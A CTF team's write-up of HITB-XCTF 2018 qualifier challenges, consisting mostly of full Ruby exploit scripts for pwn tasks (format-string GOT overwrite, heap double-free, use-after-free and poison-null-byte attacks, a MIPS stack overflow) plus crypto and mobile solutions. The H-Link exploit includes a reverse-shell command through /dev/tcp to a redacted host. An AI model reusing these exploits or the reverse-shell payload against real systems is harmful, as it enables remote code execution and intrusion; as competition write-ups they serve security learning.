HITB-XCTF 2018 Quals Writeup (scryptos)

IRC checkin (Misc 59pts)

goto IRC

flag: HITBXCTF{W3lcome_To_HITBXCTF_2018_Online_Qualifications}

readfile (Misc 266pts)

$()$(</????/????_??_????/????.???)

flag: HITB{d7dc2f3c59291946abc768d74367ec31}

base (Crypto 289pts)

By looking closely at bin data received from the server, you can guess that the input is encoded in a similar way to Base64.
Try all the pairs of the first two character of the flag and choose one with longest lcp, and there you go.

Solution script: https://gist.github.com/193s/8d1bd57109b1807e266cb5df3206940c

flag: HITB{5869616f6d6f40466c61707079506967}

multicheck (Mobile 333pts)

The apk does:

  1. Save a file named claz.dex
  2. Load claz.dex via DexClassLoader
  3. When the button is clicked, call com.a.Check

The apk includes a file named "claz.dex", but it only contains a fake flag :(

After investigating other files, I noticed that the file named "libcheck.so" contains the real claz.dex.

I wrote a script to extract real claz.dex from libcheck.so.

#coding:ascii-8bit

b = open("libcheck.so", "rb").read[0x3004...0x3004 + 1852]

x = 233
1852.times{|i|
  b[i] = (b[i].ord ^ x).chr
  x = (x + 1) % 256
}
open("claz.dex", "wb"){|f| f.write b}

I reversed the real claz.dex and found out how it verifies the flag.

Solution script:

#coding:ascii-8bit

@b = [99, 124, 101, 233, 142, 81, 209, 217, 154, 79, 22, 52, 217, 162, 190, 184, 101, 238, 73, 229, 53, 251, 46, 236, 97, 11, 200, 36, 237, 207, 144, 181]

class Fixnum
  def int
    [self & 0xffffffff].pack("L").unpack("l")[0]
  end
end

def reverse(a)
  i, j = @b[a...a + 8].map(&:chr).join.unpack("L>*")
  k = 0xc6ef3720.int
  32.times{
    j = (j - ((-269488145 + (i << 4).int).int ^ (i + k).int ^ (305419896 + (i.int >> 5)).int)).int
    i = (i - ((-1414812757 + (j << 4).int).int ^ (j + k).int ^ (-842150451 + (j.int >> 5)))).int
    k = (k + 0x61c88647).int
  }
  [i, j].pack("L>*").bytes
end

p 4.times.map{|i| reverse(i * 8)}.flatten.map(&:chr).join
# => "\x04\x00\x00\x00HITB{SEe!N9_IsN'T_bELIEV1Ng}"

flag: HITB{SEe!N9_IsN'T_bELIEV1Ng}

kivy simple (Mobile 384pts)

The apk contains a file named "private.mp3", which is actually a tar ball.

After decompressing private.mp3, I found a file named "main.pyo".

I decompiled main.pyo with uncompyle2 and found the flag.

flag: HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}

babypwn (Pwn 253pts)

pwn + no binary given + an echo service = format string stuff

First I dumped the binary using format string attack.

The main function was quite simple:

int main(){
    char buf[256];

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while(1){
        gets(buf);
        usleep(0);
        printf(buf);
    }
}

Since the binary has Partial RELRO, it's easy to control RIP by overwriting GOT.

Exploit:

#coding:ascii-8bit
require "pwnlib"  # https://github.com/Charo-IT/pwnlib

remote = ARGV[0] == "r"
if remote
  host = "47.75.182.113"
  port = 9999
  libc_offset = {
    "usleep" => 0xfdd60,
    "one_gadget" => 0xf1147
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "usleep" => 0xfdd60,
    "one_gadget" => 0xf1147
  }
end

got = {
  "usleep" => 0x601030
}

def tube
  @tube
end

def leak(addr)
  if [addr].pack("Q").include?("\n")
    return ""
  end
  tube.sendline("%8$s114514".ljust(16, "\0") + [addr].pack("Q"))
  tube.recv_capture(/(.*?)114514/m)[0]
end

def leak_range(from, to)
  buf = ""
  while from + buf.length < to
    print "\r0x%x" % (from + buf.length)
    buf << leak(from + buf.length) + "\0"
  end
  buf
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] leak libc base"
  libc_base = leak(got["usleep"]).ljust(8, "\0").unpack("Q")[0] - libc_offset["usleep"]
  puts "libc base = 0x%x" % libc_base

  puts "[*] overwrite got"
  payload = ""
  a = []
  cnt = 0
  [libc_base + libc_offset["usleep"]].pack("L").bytes.zip([libc_base + libc_offset["one_gadget"]].pack("L").bytes).each_with_index{|b, i|
    if b[0] == b[1]
      next
    end
    if b[1] != cnt
      payload << "%#{(b[1] - cnt) & 0xff}c"
      cnt = b[1]
    end
    payload << "%#{i + 22}$hhn"
    a << got["usleep"] + i
  }
  payload << "\0" * (0x80 - payload.length)
  payload << a.pack("Q*")
  tube.sendline(payload)

  puts "[*] launch shell"
  tube.sendline

  tube.interactive
}

flag: HITB{Baby_Pwn_BabY_bl1nd}

once (Pwn 281pts)

Vulnerability:

  • We can overwrite the last item of double-linked list
  • The binary kindly tells us the address of libc

Exploit:

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "47.75.189.102"
  port = 9999
  libc_offset = {
    "puts" => 0x6f690,
    "__free_hook" => 0x3c67a8,
    "system" => 0x45390
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "puts" => 0x6f690,
    "__free_hook" => 0x3c67a8,
    "system" => 0x45390
  }
end

class PwnTube
  def recv_until_prompt
    recv_until("> ")
  end
end

def tube
  @tube
end

def create
  tube.recv_until_prompt
  tube.send("1".ljust(8, "\0"))
end

def overwrite_last(s)
  tube.recv_until_prompt
  tube.send("2".ljust(8, "\0"))
  tube.send(s)
end

def delete_last
  tube.recv_until_prompt
  tube.send("3".ljust(8, "\0"))
end

def extra_menu
  tube.recv_until_prompt
  tube.send("4".ljust(8, "\0"))
end

def alloc(size)
  tube.recv_until_prompt
  tube.send("1".ljust(8, "\0"))
  tube.recv_until("input size:\n")
  tube.send("#{size}".ljust(8, "\0"))
end

def write_data(s)
  tube.recv_until_prompt
  tube.send("2".ljust(8, "\0"))
  tube.send(s)
end

def free
  tube.recv_until_prompt
  tube.send("3".ljust(8, "\0"))
end

def quit_extra_menu
  tube.recv_until_prompt
  tube.send("4".ljust(8, "\0"))
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] leak libc base"
  tube.recv_until_prompt
  tube.send("0".ljust(8, "\0"))
  libc_base = tube.recv_capture(/(0x[0-9a-f]{12})/)[0].to_i(16) - libc_offset["puts"]
  puts "libc base = 0x%x" % libc_base

  puts "[*] allocate buffer"
  extra_menu
  alloc(8000)
  quit_extra_menu

  puts "[*] abuse linklist"
  payload = ""
  payload << "\0" * 0x18
  payload << "\x54"  # partial overwrite
  overwrite_last(payload)
  create
  delete_last  # now we can call "overwrite" feature again :)

  puts "[*] overwrite buffer address"
  payload = ""
  payload << "\0" * (4 + 0x10)
  payload << [libc_base + libc_offset["__free_hook"] - 8].pack("Q")
  overwrite_last(payload)

  puts "[*] overwrite __free_hook"
  extra_menu
  payload = ""
  payload << "/bin/sh".ljust(8, "\0")
  payload << [libc_base + libc_offset["system"]].pack("Q")
  write_data(payload)

  puts "[*] launch shell"
  free

  tube.interactive
}

flag: HITB{this_is_the_xxxxxxx_flag}

d (Pwn 392pts)

Vulnerability:

  • When decoding base64, it doesn't null-terminate the string when input contains errors

Exploit:

#coding:ascii-8bit
require "pwnlib"
require "base64"

remote = ARGV[0] == "r"
if remote
  host = "47.75.154.113"
  port = 9999
  libc_offset = {
    "__libc_start_main" => 0x20740,
    "system" => 0x45390
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "__libc_start_main" => 0x20740,
    "system" => 0x45390
  }
end

offset = {
  "read_integer" => 0x400f48,
  "puts" => 0x400770
}

got = {
  "strlen" => 0x602028,
  "free" => 0x602018,
  "__libc_start_main" => 0x602050,
  "atoi" => 0x602068
}

class PwnTube
  def recv_until_prompt
    recv_until("Which? :")
  end
end

def tube
  @tube
end

def read_message(index, data)
  tube.recv_until_prompt
  tube.sendline("1")
  tube.recv_until_prompt
  tube.sendline("#{index}")
  tube.recv_until("msg:")
  tube.send(data)
end

def edit_message(index, data)
  tube.recv_until_prompt
  tube.sendline("2")
  tube.recv_until_prompt
  tube.sendline("#{index}")
  tube.recv_until("new msg:")
  tube.send(data)
end

def edit_message_hax(index, data)
  tube.recv_until_prompt
  tube.sendline("2")
  tube.recv_until_prompt
  tube.sendline("#{index}")
  tube.recv_until("new msg:")
  tube.recv_until_prompt
  tube.sendline("-1")
  tube.sendline(data)
end

def wipe_message(index)
  tube.recv_until_prompt
  tube.sendline("3")
  tube.recv_until_prompt
  tube.sendline("#{index}")
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] fill heap with garbage"
  read_message(0, "/" * 0x400)
  wipe_message(0)

  puts "[*] create messages"
  read_message(0, "\x80\n")  # chunk 0x20
  payload = ""
  payload << "\xff" * 0x1f0
  payload << [0x200].pack("Q")
  read_message(1, Base64.encode64(payload).gsub(/\s/, "").ljust(0x2b4, "\x80") + "\n")  # chunk 0x210
  read_message(2, "\x80" * 0x15f + "\n")  # chunk 0x110

  puts "[*] free No.2"
  wipe_message(1)

  # poison null byte
  puts "[*] overwrite No.2->size"
  edit_message(0, "\xff" * 0x18 + "\n")

  puts "[*] create message"
  read_message(3, "\x80" * 0x149 + "\n")
  read_message(4, "\x80" * 0x89 + "\n")  # chunk which will be forgotten
  read_message(5, "\x80" * 0xb4 + "\n")  # chunk which will be forgotten

  puts "[*] free No.3, No.2"
  wipe_message(3)
  wipe_message(2)

  puts "[*] free No.4 (victim)"
  wipe_message(4)

  puts "[*] overwrite victim chunk"
  payload = ""
  payload << "\xff" * 0xf8
  payload << [0x70].pack("Q")
  payload << [0x60216d].pack("Q")  # fd
  payload << "\xff" * 0x60
  payload << "\x90"
  read_message(6, Base64.encode64(payload).gsub(/\s/, "") + "\n")

  puts "[*] overwrite bss"
  read_message(7, "\x80" * 0x89 + "\n")
  read_message(63, Base64.encode64("\xff" * 0x60).gsub(/\s/, "").ljust(0x89, "\x80") + "\n")

  puts "[*] overwrite got (strlen -> read_integer)"
  payload = ""
  payload << "\xff" * (0x58 + 3)
  payload << [got["strlen"]].pack("Q")[0...5]
  edit_message(63, payload)
  edit_message(11, [offset["read_integer"]].pack("Q")[0...6])  # now we can edit messages without length limitations

  puts "[*] overwrite got (free -> puts)"
  payload = ""
  payload << "\0\0\0"
  payload << [got["free"]].pack("Q")
  edit_message_hax(63, payload)
  edit_message_hax(0, [offset["puts"]].pack("Q")[0...6])

  puts "[*] leak libc base"
  payload = ""
  payload << "\0\0\0"
  payload << [got["__libc_start_main"]].pack("Q")
  edit_message_hax(63, payload)
  wipe_message(0)
  libc_base = tube.recv_capture(/(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"]
  puts "libc base = 0x%x" % libc_base

  puts "[*] overwrite got (atoi -> system)"
  payload = ""
  payload << "\0\0\0"
  payload << [got["atoi"]].pack("Q")
  edit_message_hax(63, payload)
  edit_message_hax(0, [libc_base + libc_offset["system"]].pack("Q")[0...6])

  puts "[*] launch shell"
  tube.recv_until_prompt
  tube.sendline("/bin/sh")

  tube.interactive
}

flag: HITB{b4se364_1s_th3_b3st_3nc0d1ng!}

gundam (Pwn 487pts)

Vulnerability:

  • Double free in "Destroy a gundam" feature

Exploit:

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "47.75.37.114"
  port = 9999
  libc_offset = {
    "main_arena" => 0x3dac20,
    "__free_hook" => 0x3dc8a8,
    "system" => 0x47dc0
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "main_arena" => 0x3dac20,
    "__free_hook" => 0x3dc8a8,
    "system" => 0x47dc0
  }
end

class PwnTube
  def recv_until_prompt
    recv_until("Your choice : ")
  end
end

def tube
  @tube
end

def create(name, type)
  tube.recv_until_prompt
  tube.send("1".ljust(8, "\0"))
  tube.recv_until("The name of gundam :")
  tube.send(name)
  tube.recv_until("The type of the gundam :")
  tube.sendline("#{type}")
end

def show
  tube.recv_until_prompt
  tube.send("2".ljust(8, "\0"))
end

def destroy(index)
  tube.recv_until_prompt
  tube.send("3".ljust(8, "\0"))
  tube.recv_until("Which gundam do you want to Destory:")
  tube.sendline("#{index}")
end

def explode
  tube.recv_until_prompt
  tube.send("4".ljust(8, "\0"))
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] leak heap base"
  create("A", 0)
  create("B", 0)
  create("C", 0)
  create("D", 0)
  create("E", 0)
  destroy(0)
  destroy(1)
  create("\x90", 0)
  show
  heap_base = tube.recv_capture(/Gundam\[5\] :(.{6})/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x290
  puts "heap base = 0x%x" % heap_base

  puts "[*] abuse tcache freelist"
  2.times{
    destroy(5)
    destroy(3)
    destroy(0)
  }
  destroy(2)
  explode
  create([heap_base + 0x80].pack("Q"), 0)
  create("F", 0)
  create("/bin/sh\0", 0)
  create("H", 0)
  payload = ""
  payload << [0, 0x111].pack("Q*")
  payload << [0].pack("Q") * 7
  payload << [heap_base + 0x90].pack("Q")
  create(payload, 0)
  payload = ""
  payload << [0].pack("Q") * 7
  payload << [heap_base + 0x760].pack("Q")
  create(payload, 0)

  puts "[*] leak libc base"
  payload = ""
  payload << [1].pack("Q")
  payload << [heap_base + 0x570].pack("Q")
  create(payload, 0)
  show
  libc_base = tube.recv_capture(/Gundam\[4\] :(.{6})/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x58
  puts "libc base = 0x%x" % libc_base

  puts "[*] overwrite __free_hook"
  destroy(0)
  destroy(6)
  payload = ""
  payload << [0].pack("Q") * 7
  payload << [libc_base + libc_offset["__free_hook"]].pack("Q")
  create(payload, 0)
  explode
  create([libc_base + libc_offset["system"]].pack("Q"), 0)

  puts "[*] launch shell"
  destroy("2")

  tube.interactive
}

flag: HITB{now_you_know_about_tcache}

mutepig (Pwn 833pts)

Vulnerability:

  • Use after free

References:

Exploit:

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "47.75.128.158"
  port = 9999
else
  host = "localhost"
  port = 54321
end

offset = {
  "fake_chunk" => 0x602120,
  "system" => 0x4006e0
}

got = {
  "free" => 0x602018
}

def tube
  @tube
end

# 1: 0x10
# 2: 0x80
# 3: 0xa00000
# 13337: 0xFFFFFFFFFFFFFF70
def allocate(type, data)
  tube.sendline("1")
  tube.sendline("#{type}")
  tube.send(data)
end

def release(index)
  tube.sendline("2")
  tube.sendline("#{index}")
end

def edit(index, data, buf)
  tube.sendline("3")
  tube.sendline("#{index}")
  tube.send(data)
  tube.send(buf)
end

PwnTube.open(host, port){|t|
  @tube = t
  tube.wait_time = 0.5

  if !remote
    puts "waiting"
    gets
  end

  puts "[*] allocate fastbin"
  allocate(1, "A")  # 0

  puts "[*] raise system_mem"
  allocate(3, "A")  # 1
  release(1)
  allocate(3, "A")  # 2
  release(2)

  puts "[*] free fastbin"
  release(0)

  puts "[*] allocate small bin (for malloc_consolidate)"
  allocate(2, "A")  # 3

  puts "[*] abuse fastbins linklist"
  payload = ""
  payload << [0, 0x11].pack("Q*")
  payload << [0, 0xfffffffffffffff1].pack("Q*")
  edit(0, [offset["fake_chunk"] + 0x10].pack("Q")[0...7], payload)

  puts "[*] force malloc_consolidate"
  release(3)

  puts "[*] link fake chunk to largebin"
  payload = ""
  payload << [0xfffffffffffffff0, 0x10].pack("Q*")
  payload << [0, 0xa00001].pack("Q*")
  edit(0, [0].pack("Q")[0...7], payload)
  allocate(3, "A")  # 4

  puts "[*] change fake chunk's size"
  payload = ""
  payload << [0xfffffffffffffff0, 0x10].pack("Q*")
  payload << [0, 0xfffffffffffffff1].pack("Q*")
  edit(0, [0].pack("Q")[0...7], payload)

  puts "[*] move top chunk to bss"
  allocate(13337, "A")  # 5

  puts "[*] overwrite bss"
  allocate(1, [got["free"]].pack("Q")[0...7])

  puts "[*] overwrite got (free -> system)"
  edit(0, [offset["system"]].pack("Q")[0...7], "A")

  puts "[*] launch shell"
  edit(2, "/bin/sh", "A")
  release(2)

  tube.interactive
}

flag: HITB{the_returning_champion_mutepig}

gheart (Pwn 952pts)

The binary has 5 menus:

  1. sign in
    • To signin, we are required to solve an easy Proof of Work
  2. show my heart
    • This feature shows us 3 types of hex numbers
      • my encrypted secret: encrypted flag
      • my heart: RSA public key (n, e)
  3. show your heart
    • This feature leaks the higher bits of RSA private key (p) when we choose a large number as "size or your heart"
  4. sign out
  5. exit

These are the parameters I've collected from the remote server:

higher bits of p: c68de09c8550f90cad2dcd7697d514286203e93baf328717ba208a3fc5db476379e7b75e43c117b417b9c140e3da4bc3c4005934456c813198f352cec6fb1b27fa0a081b990ab9bb
e: 3
n: 877149E3A16B31DA99D86792698F6348381FA2E1D16BAFD48E5CA5F46892AA26A64877813D00F2F847B18758E3EE384D95DD8B1FF01715A203ACB72965AB7946012D91B8AC24569E9B38360B84169C26F6B0554FB1A512662A8F3EF644C1708DCE169AF1CFE2A629A9FF6E7CD1E9FDDD15911A9AB813148680333133735E02647E9CEB41230246413FE23DAE65240775EE0BE827E61FD1DACC17717D5EDB3F79A49E63758DE86EC6AACA2CBA9DB66089AB1229D1AC45525C7A05BB6C94B203A80678EBA4955BF427593823BEA99BDE35DDA5010A4AF67524E8D2DC9B41A894EC8934701798E67E6871A9559C1D91C7C89A8BDB328D059C274DF6F6EDE860771D
cipher text: 1EA7EEBA41287381903F9BE4A74BBCCE612657AF4C45A8ABFDDC89B16ED25247FB7F78EA6DDDA0EBAA42ADB8574A1DD70B7FE5C2A291C619257AD8B985A334E85166DCC5490C33A4491F55E7CA4395D7A02E33D64E15D57F2ED1E50C1DCDE7A9ED89A6D128F83CEC5259E19E91FD8137AF1530B5C560BB6313D4BDD6CF8BFDA7455C8DE33350B818F4FAFD568BBA96F77210441541FCFF1DC58ED8365AA07F2823D6F0FF1500048931594B849EBFF9219D5B17F202FE4166E6F0D2D589057635904235932479B6CAE498ECEE4DB3E5F0E85E0B5D93EBF162014614DFBDA61111E94D54738C7EE913F416B1704093C61AADF31D1D37A70A86C9608CB47ADCCBE2

... and the flag gets padded like this before encrypting:

assert(len(secret) == 46)
m = ("0" + secret.encode("hex") + "6" * 163).decode("hex")

I passed all informations I've got to my team's crypto guy. (Because I'm not good at crypto :P)
He used SageMath to decrypt the flag.

n = int("877149E3A16B31DA99D86792698F6348381FA2E1D16BAFD48E5CA5F46892AA26A64877813D00F2F847B18758E3EE384D95DD8B1FF01715A203ACB72965AB7946012D91B8AC24569E9B38360B84169C26F6B0554FB1A512662A8F3EF644C1708DCE169AF1CFE2A629A9FF6E7CD1E9FDDD15911A9AB813148680333133735E02647E9CEB41230246413FE23DAE65240775EE0BE827E61FD1DACC17717D5EDB3F79A49E63758DE86EC6AACA2CBA9DB66089AB1229D1AC45525C7A05BB6C94B203A80678EBA4955BF427593823BEA99BDE35DDA5010A4AF67524E8D2DC9B41A894EC8934701798E67E6871A9559C1D91C7C89A8BDB328D059C274DF6F6EDE860771D", 16)
c = int("1EA7EEBA41287381903F9BE4A74BBCCE612657AF4C45A8ABFDDC89B16ED25247FB7F78EA6DDDA0EBAA42ADB8574A1DD70B7FE5C2A291C619257AD8B985A334E85166DCC5490C33A4491F55E7CA4395D7A02E33D64E15D57F2ED1E50C1DCDE7A9ED89A6D128F83CEC5259E19E91FD8137AF1530B5C560BB6313D4BDD6CF8BFDA7455C8DE33350B818F4FAFD568BBA96F77210441541FCFF1DC58ED8365AA07F2823D6F0FF1500048931594B849EBFF9219D5B17F202FE4166E6F0D2D589057635904235932479B6CAE498ECEE4DB3E5F0E85E0B5D93EBF162014614DFBDA61111E94D54738C7EE913F416B1704093C61AADF31D1D37A70A86C9608CB47ADCCBE2", 16)
F = Zmod(n)
PR.<x> = PolynomialRing(F)
x0 = (((2^4)^163 * x + int('6' * 163, 16))^3 - c).monic().small_roots(X=2^(8*46))[0]
hex(ZZ(x0)).decode('hex')
# => 'flag{flappypig_c00l_and_wec0me_your_coming_1!}'

flag: flag{flappypig_c00l_and_wec0me_your_coming_1!}

H-Link (Pwn 952pts)

This CGI has 2 features, SysInfo and Echo.

SysInfo simply executes pmap ${self_pid}.
By calling SysInfo several times, I realized that the remote server has no ASLR.

$ curl -v 'http://47.75.186.245:9999/cgi-bin/soap.cgi?local=1' -H 'SoapAction: #SysInfo'
*   Trying 47.75.186.245...
* Connected to 47.75.186.245 (47.75.186.245) port 9999 (#0)
> GET /cgi-bin/soap.cgi?local=1 HTTP/1.1
> Host: 47.75.186.245:9999
> User-Agent: curl/7.47.0
> Accept: */*
> SoapAction: #SysInfo
>
< HTTP/1.1 200 OK
< Date: Fri Apr 13 05:19:02 2018
< Content-Length: 829
< Connection: keep-alive
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: no-cache
< Content-Type:  text/plain
<
2381:   /ctf/goahead_home/www/cgi-bin/soap.cgi
00400000      8K r-x--  /ctf/goahead_home/www/cgi-bin/soap.cgi
00411000      4K rw---  /ctf/goahead_home/www/cgi-bin/soap.cgi
00412000    132K rwx--    [ anon ]
77e28000     64K rw---    [ anon ]
77e38000   1464K r-x--  /lib/mips-linux-gnu/libc-2.13.so
77fa6000     64K -----  /lib/mips-linux-gnu/libc-2.13.so
77fb6000     36K r----  /lib/mips-linux-gnu/libc-2.13.so
77fbf000      8K rw---  /lib/mips-linux-gnu/libc-2.13.so
77fc1000     12K rw---    [ anon ]
77fc4000    140K r-x--  /lib/mips-linux-gnu/ld-2.13.so
77fef000      8K rw---    [ anon ]
77ff5000      4K rw---    [ anon ]
77ff6000      4K r----  /lib/mips-linux-gnu/ld-2.13.so
77ff7000      4K rw---  /lib/mips-linux-gnu/ld-2.13.so
7ffd6000    132K rwx--    [ stack ]
7fff7000      4K r-x--    [ anon ]
 total     2088K

Echo feature echoes the string given via "message" parameter.

$ curl -v 'http://47.75.186.245:9999/cgi-bin/soap.cgi?local=1&message=114514' -H "SoapAction: #Echo"
*   Trying 47.75.186.245...
* Connected to 47.75.186.245 (47.75.186.245) port 9999 (#0)
> GET /cgi-bin/soap.cgi?local=1&message=114514 HTTP/1.1
> Host: 47.75.186.245:9999
> User-Agent: curl/7.47.0
> Accept: */*
> SoapAction: #Echo
>
< HTTP/1.1 200 OK
< Date: Fri Apr 13 05:24:33 2018
< Content-Length: 6
< Connection: keep-alive
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: no-cache
< Content-Type:  text/plain
<
* Connection #0 to host 47.75.186.245 left intact
114514

The Echo feature calls strcpy without checking the length of "message" parameter.
This leads to stack buffer overflow.

Since "message" parameter is given via query string, we have to build our payload without using null-bytes, whitespaces, and ampersands.
This is not a big problem because libc is given and ASLR is disabled on remote server.

Exploit:

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "47.75.186.245"
  port = 9999
else
  host = "localhost"
  port = 54321
end

def tube
  @tube
end

reverse_shell_host = "REDACTED";
reverse_shell_port = 31337;
cmd = "bash${IFS}-c${IFS}'bash</dev/tcp/#{reverse_shell_host}/#{reverse_shell_port}';"

libc_base = 0x77e38000
fake_fp = 0x7fff6b48

payload = ""
payload << "A" * 0x84
payload << [fake_fp].pack("L>")  # fp
payload << [libc_base + 0x11afa8].pack("L>")  # ra (set s1)
payload << "B" * 24
payload << "B" * 4  # s0
payload << [libc_base + 0x41da0].pack("L>")  # s1 = system
payload << [fake_fp].pack("L>")  # fp
payload << [libc_base + 0xe5170].pack("L>")  # ra (call system)
payload << "A" * 64
if cmd.length % 4 != 0
  cmd << "_" * (4 - cmd.length % 4)
end
payload << cmd

raise if payload =~ /[\0\s&]/

PwnTube.open(host, port){|t|
  @tube = t

  a = ""
  a << "GET /cgi-bin/soap.cgi?local=1&message=#{payload} HTTP/1.1\r\n"
  a << "Host: 47.75.186.245:9999\r\n"
  a << "SoapAction: #Echo\r\n\r\n"
  tube.send(a)

  tube.interactive
}

flag: HITB{fdfbf27aaf678a3785df6d343f3309e1}